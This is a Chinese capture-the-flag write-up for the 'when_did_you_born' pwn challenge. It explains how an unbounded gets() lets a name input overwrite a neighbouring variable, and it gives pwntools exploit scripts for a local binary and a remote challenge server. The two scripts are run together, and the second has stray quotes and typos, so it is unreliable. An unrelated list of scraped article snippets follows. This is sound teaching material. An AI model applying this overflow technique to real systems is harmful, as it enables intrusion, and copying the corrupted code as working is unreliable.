继上文,这次开始嫖when_did_you_born这题。前面的步骤大致是一样的就不赘述了,直接到代码分析。

字符串

这次呢在main函数处 按下F5进入调试 查看反汇编代码

可以清楚的看到它的逻辑一开始不能让它判断出是1926,否则就会出错,接着呢再输入名字后判断是否是1926,是的话就返回flag,否则就出去。

所以里要进行一下溢出操作直接越过第一次的判断。观察代码中的溢出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag

首先我们查看v5和v6差了多少字节。

这里分别双击v5和v6判断位置在哪,

这里呢我们在双击v6的时候发现出现在var_8的地方,而v5出现在var_18的位置。可能有些不理解,大家可以这样想,从起始的位置var_20到var_18的位置是v5的所分配的内部空间,既然我想去执行v6的内容那么我们就需要去覆盖掉v5,让程序认为这条路是从var_18开始的。所以这里所要的填充空间就为v5的空间8个字节。

下面是两种方式

from pwn import *
p=process('when')
p.sendafter('Your Birth?',str(0)+'\n')
p.sendafter(' Your Name?','a'*8+p64(1926))
p.interactive() #设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("111.198.29.45", 35099)
#设置payload,准备覆盖
payload = 'a'* (0x20-0x18) +p64(1926)
#这是接受消息,直到什么停止这样’
r.recvuntil("What's Your Birth?\n")‘
#发送消息
r.sendline("2000")’
r.recvuntil("What's Your Name?\n")‘
r.sendline(payload)
printr.recv()
printr.recv()

结果

知识回顾: 栈溢出 ,在这题看来就是地址覆盖,只要我们找可能执行的位置然后用我们想要的去覆盖掉,就可以执行我们想要的结果。

不要你觉得,我要我觉得。

when_did_you_born-瞟来的wp的更多相关文章

  1. cgpwn2-嫖来的wp

    本想练习pwn的题目活跃下思维,但是接触后发现完全不懂,gg 然后就多方搜集,弄来了一些工具(IDA pro.pwntool)结果自己还是不会用,又是一番刷视频,结果看完又是一脸懵. 只记得一个快捷键 ...

  2. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

  3. wp已死,metro是罪魁祸首!

    1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...

  4. 关于 WP 开发中.xaml 与.xaml.cs 的关系

    今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...

  5. Android,ios,WP三大手机系统对比

    从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...

  6. 搜狗输入法wp风格皮肤

    换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...

  7. 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19

    上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...

  8. 【WP开发】读写剪贴板

    在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...

  9. 【WP开发】不同客户端之间传输加密数据

    在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...

  10. 【WP开发】加密篇:双向加密

    说起双向加密,如果以前在.NET开发中弄过加/解密的朋友都不会陌生,常用的算法有DES.AES等.在RT应用程序中,也提供了加密相关的API,算法自然是一样的,只是API的封装方式不同罢了,因为RT不 ...

随机推荐

  1. 中国5G,如何避免重复投资?

    前不久,工信部正式向中国移动.中国联通.中国电信发放5G商用牌照,此举意味着中国提前启动5G商用计划,随之而来的,将会是运营商.设备商大规模的投资.相关数据机构预测,三大运营商2019年预计会投入30 ...

  2. 安装oracle11g时出现:在注册表中没有找到指定的主目录名

    我碰到这个问题,不过我没去管它.直接安装了,后来数据库实例,什么的都能安装,目前没有发现什么问题. 造成这个的原因:是卸载oracle时注册表没有彻底删除! 如果后面出现问题,再记录.

  3. 多Python版本共存

    Python 3.4 和 3.7 共存 我的电脑上同时安装了 Python 3.4 和 Python 3.7 两个 Python 版本.现在打开终端窗口进入指定的版本. py -3.4 py -3.7 ...

  4. C++:面向对象的相关概念

    对象: 一般意义上的对象:是现实世界中一个实际存在的事物 面向对象方法中的对象:是系统中用来描述客观事物的一个实体 抽象与分类: 分类所依据的原则:抽象 抽象出同一类对象的共同属性和行为,形成类 类与 ...

  5. CentOS使用日常

    安装Teamview TeamViewer官网 下载rpm包 yum install -y teamviewer.x86_64.rpm 搞定 systemctl status firewalld #查 ...

  6. nginx 反向代理memcached、websocket及nginx文件方面的优化

    安装memcached服务,并启动添加数据 yum -y install memcached systemctl start memcached.service 启动 [root@python ~]# ...

  7. python笔记心得

    1.字典的映射 day=10# def get_sunday():# return 'Sunday'# def get_monday():# return 'monday'# def get_tues ...

  8. 12 JavaScript String对象 & Date对象

    <script> var a = "string"; var b = new String("string"); var c = new Strin ...

  9. 3 Struts2的常见配置解析

    1 package标签的相关配置 package标签:包,与Java中的包概念不一致.旨在更好的管理actionpackage标签的属性: name :  包的名称,在一个项目不重名即可,无具体含义 ...

  10. 单元测试报错:unable to find a @SpringBootConfiguration

    完整异常: Unable to find a @SpringBootConfiguration, you need to use @ContextConfiguration or @SpringBoo ...